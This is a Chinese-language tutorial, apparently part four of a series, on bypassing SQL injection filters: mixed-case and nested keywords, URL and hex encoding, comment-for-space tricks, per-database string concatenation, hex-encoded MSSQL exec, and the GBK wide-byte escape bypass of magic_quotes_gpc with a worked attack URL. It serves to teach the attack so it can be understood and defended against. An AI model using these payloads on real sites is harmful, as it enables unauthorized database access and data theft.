sql注入解析(四)避開過濾
1、 不使用被過濾的字元: 比如注入一個數字資料,就不需要使用單引號;’ or 1=1–,如果註釋字元被過濾,我們可以這樣寫 ‘ or ’1′=’1 。
2、 避免使用簡單確認: 如果select關鍵字被過濾,我們可以嘗試用下面的方法書寫select,SeleCT; selselectect;或者使用URLencode,ascii編碼,%53%45%4c%45%43%54(ascii).
3、 使用sql註釋繞過: 如果空格被過濾了,我們可以使用sql語言的註釋。select/**/username,password/**/from/**/user–, mysql中甚至可以這樣 sele/**/ct username fr/**/om user–.
4、 替換被阻止的字串: 要表示admin,oracle中可以用 ‘adm’||’in’ , mysql中可以用 concat(‘adm’,'in’); mssql中可以用:’adm’+'in’.
資料庫語法中有很多字串操作函式,可以用來建立被過濾的字串。Oracle中包含,CHR(ascii碼轉化)、REVERSE(字串反轉),TRANSLATE(高階的字串替換),REPLACE,SUBSTR函式。
mssql資料庫可以使用 exec(‘select * from user’), 這條命令可以變形為 exec(‘sele’+'ct * from user) ,還可以建立一個十六進位制的編碼的字串,通過exec來執行,從而避開某些關鍵字甚至是單引號的過濾。如:declear @q varchar(5000); select @q=0×73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .
另外如果網站是gbk編碼的,也可以利用漢字的編碼避開注入:
在magic_quotes_gpc=On的情況下,提交的引數中如果帶有單引號’,就會被自動轉義\’,使很多注入攻擊無效,
GBK雙位元組編碼:一個漢字用兩個位元組表示,首位元組對應0×81-0xFE,尾位元組對應0×40-0xFE(除0×7F),剛好涵蓋了轉義符號\對應的編碼0×5C。
0xD50×5C 對應了漢字“誠”,URL編碼用百分號加字元的16進位制編碼表示字元,於是 %d5%5c 經URL解碼後為“誠”。
下面分析攻擊過程:
訪問 http://www.2cto.com /test.php?username=test%d5′%20or%201=1%23&pwd=test
經過
username=test%d5%27%20or%201=1%23
經過php的url解碼
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (為了便於閱讀,在字串與16進位制編碼之間加了空格)
經過PHP的GPC自動轉義變成(單引號0×27被轉義成\’對應的編碼0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因為在資料庫初始化連線的時候SET NAMES ‘gbk’,0xd50×5c解碼後為誠,0×27解碼為’,0×20為空格,0×23為mysql的註釋符#
上面的SQL語句最終為: SELECT * FROM user WHERE username=’test誠’ or 1=1#’ and password=’test’;
註釋符#後面的字串已經無效,等價於
SELECT * FROM user WHERE username=’test誠’ or 1=1;
條件變成永真,成功注入。
補充:
0xD50×5C不是唯一可以繞過單引號轉義的字元,0×81-0xFE開頭+0×5C的字元應該都可以;
根據utf8的編碼範圍,無此問題;
這種變換在xss等領域也可以應用,假如服務端是GBK編碼格式。